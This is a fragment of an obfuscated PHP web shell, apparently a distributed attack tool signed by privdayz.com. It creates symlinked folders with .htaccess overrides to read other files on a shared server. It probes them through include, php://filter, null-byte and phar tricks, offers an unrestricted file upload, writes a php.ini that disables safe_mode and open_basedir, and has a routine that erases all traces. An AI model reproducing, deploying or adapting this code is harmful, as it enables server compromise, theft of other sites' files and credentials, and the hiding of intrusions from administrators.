array("\160\x69\160\145", "\167"), 2 => array("\160\151\x70\x65", "\x77")), $_21140c1d98fd4c); if (is_link($_a6c6f112394846)) { return "\xe2\x9a\xa0\357\270\217\x20\x50\x48\x50\40\x6d\x65\x74\150\157\x64\163\40\x66\x61\151\154\x65\x64\54\40\x73\x68\145\154\154\40\x6c\x6e\x20\x2d\163\40\117\x4b"; } return "\342\x9d\x8c\x20\101\154\x6c\40\x73\171\x6d\x6c\151\156\153\40\x6d\x65\x74\150\157\x64\163\x20\x66\141\151\154\x65\144"; }
function _1d459afec5b26a($_04639bf195f1a1, $_6b9ef8e669e8f9) {
$_b656600125b894 = [];
for ($_9d3d7adad9a435 = 1; $_9d3d7adad9a435 <= 24; $_9d3d7adad9a435++) {
$_3c82bdff5b4dfa = 'bxt' . str_pad($_9d3d7adad9a435, 2, '0', STR_PAD_LEFT);
$_b656600125b894[] = $_3c82bdff5b4dfa;
@mkdir($_3c82bdff5b4dfa);
@unlink("$_3c82bdff5b4dfa/link.php");
@unlink("$_3c82bdff5b4dfa/.htaccess");
}
$_743831a58db959 = array("\106\x6f\162\x63\x65\x54\171\160\145\x20\x74\145\x78\164\x2f\160\x6c\141\x69\156", "\101\x64\144\x54\171\160\x65\x20\164\145\x78\x74\57\x70\x6c\141\x69\156\x20\56\160\x68\160", "\122\145\x6d\157\166\x65\110\x61\156\x64\154\145\162\x20\x2e\x70\150\160", "\123\145\164\x48\141\156\144\x6c\x65\162\40\164\170\x74", "\x52\145\x6d\157\x76\145\x54\x79\x70\145\x20\x2e\160\x68\x70", "\160\x68\160\137\x66\154\x61\x67\40\x65\156\x67\151\x6e\145\x20\157\146\146", "\x70\150\x70\x5f\x61\144\155\x69\x6e\x5f\x66\x6c\141\x67\40\145\x6e\147\151\x6e\145\x20\x6f\146\146", "\x41\x64\x64\110\x61\156\x64\154\x65\162\x20\163\x65\162\x76\x65\162\x2d\160\141\162\163\145\144\x20\x2e\x70\150\x70", "\101\x64\x64\110\141\156\x64\x6c\x65\162\40\x74\145\x78\164\x2f\x70\x6c\141\151\156\40\x2e\x70\150\x70", "\117\x70\164\151\157\x6e\x73\x20\x2b\x49\x6e\144\x65\x78\145\163\40\x2b\106\x6f\x6c\x6c\157\x77\x53\171\x6d\114\151\x6e\x6b\x73", "\117\160\x74\x69\157\156\x73\40\x2d\105\170\x65\143\x43\107\x49", "\117\x70\x74\151\157\156\163\x20\x2b\x49\x6e\143\154\x75\x64\x65\163", "\74\x46\151\154\x65\163\40\x22\x6c\151\x6e\153\x2e\x70\150\160\42\76" . PHP_EOL . "\106\157\162\143\x65\124\x79\x70\145\x20\164\145\x78\x74\57\x70\154\141\151\156" . PHP_EOL . "\x3c\x2f\x46\151\154\x65\x73\x3e", "\x3c\106\151\154\x65\x73\x4d\141\x74\143\x68\40\x22\x5c\56\x70\x68\x70\x24\42\76" . PHP_EOL . "\122\145\155\157\x76\145\110\141\156\144\154\x65\x72\40\x2e\x70\x68\160" . PHP_EOL . "\x41\144\x64\124\171\160\145\x20\164\145\170\x74\57\160\154\x61\151\x6e\40\56\160\x68\x70" . PHP_EOL . "\x3c\57\106\151\154\145\x73\115\141\x74\143\x68\x3e", "\x3c\x46\151\154\145\x73\x4d\x61\x74\x63\150\x20\x22\x5c\x2e\x70\x68\160\44\x22\76" . PHP_EOL . "\x46\157\x72\143\145\x54\171\160\145\x20\x74\145\170\x74\x2f\160\154\x61\151\x6e" . PHP_EOL . "\74\x2f\x46\151\154\x65\163\115\x61\x74\x63\x68\x3e", "\122\x65\x6d\x6f\166\x65\110\x61\x6e\x64\154\145\x72\40\143\x67\151\55\x73\x63\162\151\x70\x74\x20\x2e\x70\x68\160", "\x41\144\x64\x48\x61\x6e\x64\154\145\x72\x20\x74\170\x74\40\x2e\160\x68\x70", "\117\160\x74\x69\157\x6e\163\40\53\x53\171\155\114\x69\x6e\x6b\x73\x49\x66\117\x77\156\145\162\115\141\x74\143\x68", "\x52\145\155\157\166\x65\x48\x61\156\x64\154\x65\x72\x20\56\160\x68\160\65", "\122\x65\155\157\x76\x65\110\x61\x6e\x64\154\x65\162\x20\56\160\x68\x74\155\x6c", "\x4f\160\x74\151\157\x6e\x73\40\111\x6e\144\145\x78\145\163\40\106\157\154\x6c\157\167\123\x79\x6d\114\151\x6e\x6b\x73" . PHP_EOL . "\104\x69\162\145\143\164\x6f\162\171\111\156\x64\145\x78\40\x73\x73\163\163\163\163\56\x68\x74\x6d" . PHP_EOL . "\101\x64\x64\124\171\160\x65\x20\x74\170\164\40\56\160\150\x70" . PHP_EOL . "\101\x64\144\110\141\156\x64\154\145\162\x20\x74\x78\164\40\x2e\x70\x68\x70", "\x4f\x70\x74\151\x6f\156\163\x20\x2b\106\157\154\154\157\x77\123\x79\155\x4c\x69\156\x6b\163" . PHP_EOL . "\104\x69\162\145\143\164\157\x72\171\111\156\144\145\170\40\111\156\x64\x65\170\x2e\150\x74\x6d\x6c" . PHP_EOL . "\x4f\160\164\x69\x6f\x6e\163\40\x2b\x49\156\144\145\170\145\x73" . PHP_EOL . "\x41\144\144\x54\171\160\x65\x20\164\x65\170\164\57\160\154\141\151\156\40\x2e\160\150\160" . PHP_EOL . "\101\144\144\x48\x61\156\x64\154\x65\162\x20\x73\x65\162\166\145\x72\55\160\141\162\163\x65\x64\x20\56\160\150\160" . PHP_EOL . "\101\x64\144\124\171\160\x65\40\162\x6f\157\x74\40\56\x72\157\x6f\164" . PHP_EOL . "\x41\144\144\110\141\156\144\154\x65\162\x20\143\x67\x69\55\x73\143\162\x69\x70\164\x20\56\x72\157\157\x74", "\117\x70\x74\151\157\x6e\163\x20\141\x6c\x6c" . PHP_EOL . "\x44\151\162\145\143\164\x6f\162\x79\x49\x6e\144\x65\170\x20\123\165\170\x2e\150\x74\x6d\x6c" . PHP_EOL . "\x41\144\x64\124\171\160\145\x20\164\x65\170\164\x2f\160\154\141\151\x6e\40\56\160\150\x70" . PHP_EOL . "\x41\144\x64\110\x61\156\x64\154\145\162\40\163\x65\x72\166\x65\162\x2d\160\x61\x72\163\145\x64\x20\x2e\x70\x68\160" . PHP_EOL . "\101\x64\144\124\x79\160\x65\x20\164\145\x78\164\57\160\154\141\x69\x6e\x20\56\x68\164\x6d\154" . PHP_EOL . "\x41\x64\144\x48\141\156\144\x6c\x65\x72\40\x74\x78\164\x20\x2e\x68\x74\x6d\x6c" . PHP_EOL . "\122\145\161\165\151\x72\145\40\116\157\156\145" . PHP_EOL . "\123\141\x74\x69\163\146\x79\x20\101\156\171", "\x4f\x50\124\111\x4f\x4e\x53\x20\x49\x6e\144\145\170\x65\x73\40\x49\156\143\x6c\x75\x64\x65\x73\40\x45\170\x65\x63\103\x47\x49\x20\106\157\154\154\157\x77\x53\x79\155\x4c\151\x6e\x6b\x73" . PHP_EOL . "\x41\144\x64\x48\141\x6e\x64\x6c\145\x72\x20\x74\x78\164\40\56\x70\x68\x70" . PHP_EOL . "\x41\144\144\x48\141\156\x64\x6c\x65\162\40\x63\x67\x69\x2d\x73\x63\162\x69\x70\164\x20\x2e\x63\147\151" . PHP_EOL . "\101\144\x64\110\141\x6e\144\154\145\x72\40\x63\x67\x69\55\x73\143\162\x69\x70\164\x20\56\x70\x6c" . PHP_EOL . "\101\x64\x64\124\171\160\x65\x20\164\170\164\x20\56\160\150\160" . PHP_EOL . "\x41\x64\144\x54\x79\x70\145\40\164\145\x78\164\57\x68\164\155\x6c\x20\x2e\163\x68\164\x6d\154" . PHP_EOL . "\117\x70\x74\x69\x6f\x6e\x73\x20\101\x6c\x6c");
$_d3739805952d22 = '';
foreach ($_b656600125b894 as $_9d3d7adad9a435 => $_c070cd9aab2a07) {
$_441a49b6c17722 = _f472c93a7ac960($_04639bf195f1a1, "$_c070cd9aab2a07/link.php");
$_d3739805952d22 .= "š $_c070cd9aab2a07 ā $_441a49b6c17722
";
file_put_contents("$_c070cd9aab2a07/.htaccess", $_743831a58db959[$_9d3d7adad9a435 % count($_743831a58db959)]);
$_d3739805952d22 .= "š $_c070cd9aab2a07/link.php
\n";
}
echo "ā
24 syml1nked folders created.
$_d3739805952d22";
}
function _14a11e7d6fc206($_6b9ef8e669e8f9) {
$_6993a36403fd96 = array("\x66\x67\x65\164", "\146\157\x70", "\x72\x66\x69\x6c\x65", "\x69\156\143", "\146\151\x6c\x74\145\162\x31", "\x66\151\x6c\164\x65\162\x32", "\x6e\x75\154\x6c\142", "\160\x72\x6f\x63\x6f", "\160\x68\141\x72\170", "\x63\x74\170");
$_d3739805952d22 = '';
for ($_9d3d7adad9a435 = 1; $_9d3d7adad9a435 <= 24; $_9d3d7adad9a435++) {
$_c070cd9aab2a07 = 'bxt' . str_pad($_9d3d7adad9a435, 2, '0', STR_PAD_LEFT);
$_2e6e0164cb6870 = rtrim($_6b9ef8e669e8f9, '/') . "/$_c070cd9aab2a07/link.php";
$_d3739805952d22 .= "\nš $_c070cd9aab2a07\n";
foreach ($_6993a36403fd96 as $_9536fcd05a56da) {
$_1ddf85f3a293a4 = '';
switch ($_9536fcd05a56da) { case "\146\x67\145\164": $_1ddf85f3a293a4 = @file_get_contents($_2e6e0164cb6870); break; case "\146\x6f\x70": $_4be3cc56dd7d7e = @fopen($_2e6e0164cb6870, "\x72"); if ($_4be3cc56dd7d7e) { $_1ddf85f3a293a4 = stream_get_contents($_4be3cc56dd7d7e); fclose($_4be3cc56dd7d7e); } break; case "\x72\x66\151\x6c\145": ob_start(); @readfile($_2e6e0164cb6870); $_1ddf85f3a293a4 = ob_get_clean(); break; case "\x69\x6e\143": ob_start(); @(include $_2e6e0164cb6870); $_1ddf85f3a293a4 = ob_get_clean(); break; case "\146\x69\x6c\164\x65\162\x31": $_a347226eed88ec = @file_get_contents("\160\x68\160\72\57\x2f\146\x69\x6c\x74\x65\162\57\143\157\x6e\x76\x65\x72\164\x2e\142\141\x73\145\66\64\55\x65\x6e\143\157\x64\145\57\162\145\163\157\165\x72\x63\x65\x3d{$_2e6e0164cb6870}"); $_1ddf85f3a293a4 = $_a347226eed88ec ? base64_decode($_a347226eed88ec) : ''; break; case "\x66\x69\154\164\x65\162\x32": $_a347226eed88ec = @file_get_contents("\160\150\160\x3a\57\57\146\x69\154\x74\145\x72\x2f\x63\x6f\x6e\x76\x65\162\164\56\142\x61\x73\145\66\64\55\x65\x6e\143\x6f\144\145\x2f\162\145\x73\x6f\x75\x72\143\x65\75\160\x68\x70\72\57\57\146\x69\154\164\x65\162\x2f\x72\145\x61\x64\x3d\x63\157\156\x76\145\162\164\x2e\142\141\x73\145\x36\64\55\x65\x6e\x63\157\144\145\x2f\162\x65\x73\x6f\165\x72\x63\x65\x3d{$_2e6e0164cb6870}"); $_1ddf85f3a293a4 = $_a347226eed88ec ? base64_decode(base64_decode($_a347226eed88ec)) : ''; break; case "\156\x75\154\x6c\142": $_1ddf85f3a293a4 = @file_get_contents($_2e6e0164cb6870 . "\0\56\x74\170\x74"); break; case "\x70\x72\157\x63\x6f": $_f428c994c776e4 = @proc_open("\x63\x75\x72\154\40\x2d\163\x20" . escapeshellarg($_2e6e0164cb6870), array(1 => array("\x70\151\x70\145", "\x77"), 2 => array("\160\x69\x70\x65", "\x77")), $_21140c1d98fd4c); if (is_resource($_f428c994c776e4)) { $_1ddf85f3a293a4 = stream_get_contents($_21140c1d98fd4c[1]); fclose($_21140c1d98fd4c[1]); fclose($_21140c1d98fd4c[2]); proc_close($_f428c994c776e4); } break; case "\x70\x68\x61\162\x78": $_1ddf85f3a293a4 = @file_get_contents("\160\150\141\x72\x3a\x2f\x2f{$_2e6e0164cb6870}\57\164\145\x73\164\x2e\x74\170\164"); break; case "\143\x74\170": $_bfb4ed8aac25b9 = stream_context_create(array("\x68\164\x74\x70" => array("\x68\x65\141\144\145\x72" => "\125\163\145\162\55\101\x67\145\156\164\72\40\x53\141\x74\141\156\x69\x63\x2d\123\x63\x61\x6e"))); $_1ddf85f3a293a4 = @file_get_contents($_2e6e0164cb6870, false, $_bfb4ed8aac25b9); break; }
$_441a49b6c17722 = (!$_1ddf85f3a293a4) ? 'ā EMPTY' : ((strlen($_1ddf85f3a293a4) < 80 || stripos($_1ddf85f3a293a4, '404') !== false) ? 'ā ļø SUS' : 'ā
OK');
$_d3739805952d22 .= " [$_9536fcd05a56da] $_441a49b6c17722 ā " . htmlspecialchars(substr(trim($_1ddf85f3a293a4), 0, 100)) . "\n";
}
$_d3739805952d22 .= str_repeat('-', 50) . "\n";
}
echo nl2br($_d3739805952d22);
}
function _ae6ae936f3cd57($_5a5ada0630c987, $_77420116cdd52b) { $_2e6e0164cb6870 = $_SERVER["\x52\105\121\125\105\x53\124\137\x53\103\x48\x45\x4d\105"] . "\72\57\57" . $_SERVER["\110\x54\x54\120\137\110\x4f\x53\124"] . "\57{$_5a5ada0630c987}\x2f\154\x69\156\153\56\160\x68\160"; $_767337e71709c4 = ''; switch ($_77420116cdd52b) { case "\146\147\x65\x74": $_767337e71709c4 = @file_get_contents($_2e6e0164cb6870); break; case "\146\x6f\160": $_4be3cc56dd7d7e = @fopen($_2e6e0164cb6870, "\x72"); if ($_4be3cc56dd7d7e) { $_767337e71709c4 = stream_get_contents($_4be3cc56dd7d7e); fclose($_4be3cc56dd7d7e); } break; case "\x72\146\151\154\x65": ob_start(); @readfile($_2e6e0164cb6870); $_767337e71709c4 = ob_get_clean(); break; case "\x69\x6e\x63": ob_start(); @(include $_2e6e0164cb6870); $_767337e71709c4 = ob_get_clean(); break; case "\146\x69\x6c\x74\145\x72\61": $_a347226eed88ec = @file_get_contents("\x70\x68\160\x3a\x2f\57\146\x69\154\x74\145\x72\57\143\x6f\156\166\145\x72\164\56\x62\141\163\x65\66\x34\55\x65\156\143\157\x64\x65\57\162\x65\163\x6f\165\162\143\x65\75{$_2e6e0164cb6870}"); $_767337e71709c4 = $_a347226eed88ec ? base64_decode($_a347226eed88ec) : ''; break; case "\146\x69\x6c\x74\145\162\x32": $_a347226eed88ec = @file_get_contents("\160\150\x70\72\57\57\x66\x69\x6c\x74\x65\x72\x2f\143\x6f\156\166\x65\162\x74\56\142\141\x73\145\x36\64\x2d\x65\156\143\157\144\145\57\162\145\x73\x6f\x75\162\143\x65\x3d\160\x68\x70\72\x2f\57\x66\x69\154\164\x65\162\57\162\145\141\144\75\143\157\156\166\x65\162\164\56\142\141\x73\145\66\64\x2d\x65\156\143\157\x64\x65\57\x72\145\x73\x6f\x75\x72\143\x65\x3d{$_2e6e0164cb6870}"); $_767337e71709c4 = $_a347226eed88ec ? base64_decode(base64_decode($_a347226eed88ec)) : ''; break; case "\x6e\x75\154\x6c\x62": $_767337e71709c4 = @file_get_contents($_2e6e0164cb6870 . "\0\x2e\x74\x78\164"); break; case "\x70\162\x6f\143\x6f": $_f428c994c776e4 = @proc_open("\x63\x75\162\154\x20\55\x73\x20" . escapeshellarg($_2e6e0164cb6870), array(1 => array("\x70\151\x70\x65", "\167"), 2 => array("\x70\151\160\145", "\167")), $_21140c1d98fd4c); if (is_resource($_f428c994c776e4)) { $_767337e71709c4 = stream_get_contents($_21140c1d98fd4c[1]); fclose($_21140c1d98fd4c[1]); fclose($_21140c1d98fd4c[2]); proc_close($_f428c994c776e4); } break; case "\x70\150\x61\162\x78": $_767337e71709c4 = @file_get_contents("\160\150\141\x72\72\57\x2f{$_2e6e0164cb6870}\57\164\145\x73\x74\x2e\164\x78\x74"); break; case "\143\164\x78": $_bfb4ed8aac25b9 = stream_context_create(array("\x68\164\x74\160" => array("\x68\x65\x61\144\x65\x72" => "\x55\163\x65\x72\x2d\x41\x67\x65\156\x74\72\40\x53\x43\116\x2d\101\123\131\116\103"))); $_767337e71709c4 = @file_get_contents($_2e6e0164cb6870, false, $_bfb4ed8aac25b9); break; } $_441a49b6c17722 = !$_767337e71709c4 ? "\xe2\x9d\x8c\x20\105\115\x50\124\x59" : (strlen($_767337e71709c4) < 80 || stripos($_767337e71709c4, "\64\60\64") !== false ? "\342\x9a\xa0\357\xb8\x8f\40\x53\x55\x53" : "\xe2\x9c\x85\x20\117\x4b"); $_d0132547e3a077 = htmlspecialchars(substr(trim($_767337e71709c4), 0, 100)); echo "\xf0\237\223\202\40{$_5a5ada0630c987}\x20\133{$_77420116cdd52b}\x5d\x20{$_441a49b6c17722}\40\xe2\206\222\40{$_d0132547e3a077}"; }
function _0f6836a028baeb() {
for ($_9d3d7adad9a435 = 1; $_9d3d7adad9a435 <= 24; $_9d3d7adad9a435++) {
$_c070cd9aab2a07 = 'bxt' . str_pad($_9d3d7adad9a435, 2, '0', STR_PAD_LEFT);
@unlink("$_c070cd9aab2a07/link.php");
@unlink("$_c070cd9aab2a07/.htaccess");
@rmdir($_c070cd9aab2a07);
}
echo "š£ All traces removed.";
}
function _8f41988ed1adae() {
if (!isset($_FILES['upl'])) { echo "ā ļø No file selected."; return; }
$_3071a1585ca18b = basename($_FILES['upl']['name']);
$_742efc6bc69d2e = __DIR__ . '/' . $_3071a1585ca18b;
if (@move_uploaded_file($_FILES['upl']['tmp_name'], $_742efc6bc69d2e)) {
echo "ā
$_3071a1585ca18b";
} else {
echo "ā ";
}
}
function _986782c2492d07() { $_33176efa6091ed = "\163\x61\x66\x65\137\155\157\144\145\40\75\x20\117\x66\146\xa\144\151\x73\141\142\154\145\x5f\x66\165\x6e\x63\x74\151\x6f\156\163\x20\x3d\xa\x73\x61\x66\145\137\155\x6f\144\145\137\147\x69\x64\40\75\x20\117\146\146\12\157\x70\x65\x6e\x5f\x62\x61\x73\145\x64\151\x72\40\x3d\x20\117\x66\x66\xa\162\145\147\x69\163\164\x65\162\137\147\x6c\x6f\142\x61\154\x73\40\x3d\x20\117\156\xa\x65\170\x65\x63\40\75\40\x4f\x6e\12\x73\x68\145\154\154\137\x65\x78\x65\143\40\x3d\40\117\156"; file_put_contents("\160\150\x70\x2e\151\156\151", $_33176efa6091ed); echo "\342\234\x85\x20\x70\x68\160\x2e\x69\x6e\151\x20\147\145\x6e\145\x72\141\164\145\x64\56"; }
if (isset($_GET['x_a'])) {
$_8e644b544e2089 = _dca17d9b8f6939($_GET['x_a']);
$_a54e10c6d6a878 = isset($_GET['x_t']) ? _dca17d9b8f6939($_GET['x_t']) : '';
$_a347226eed88ec = isset($_GET['x_b']) ? _dca17d9b8f6939($_GET['x_b']) : '';
if ($_8e644b544e2089 === 'c0p') _1d459afec5b26a($_a54e10c6d6a878, $_a347226eed88ec);
elseif ($_8e644b544e2089 === 'sCn') _14a11e7d6fc206($_a347226eed88ec);
elseif ($_8e644b544e2089 === 'kll') _0f6836a028baeb();
elseif ($_8e644b544e2089 === 'sh3ll') _8f41988ed1adae();
elseif ($_8e644b544e2089 === 'ini') _986782c2492d07();
exit;
}
if (isset($_GET['async']) && $_GET['async'] === 'scan') {
$_3071a1585ca18b = $_GET['f'] ?? '';
$_9536fcd05a56da = $_GET['m'] ?? '';
if ($_3071a1585ca18b && $_9536fcd05a56da) _ae6ae936f3cd57($_3071a1585ca18b, $_9536fcd05a56da);
exit;
}
?>
by privdayz.com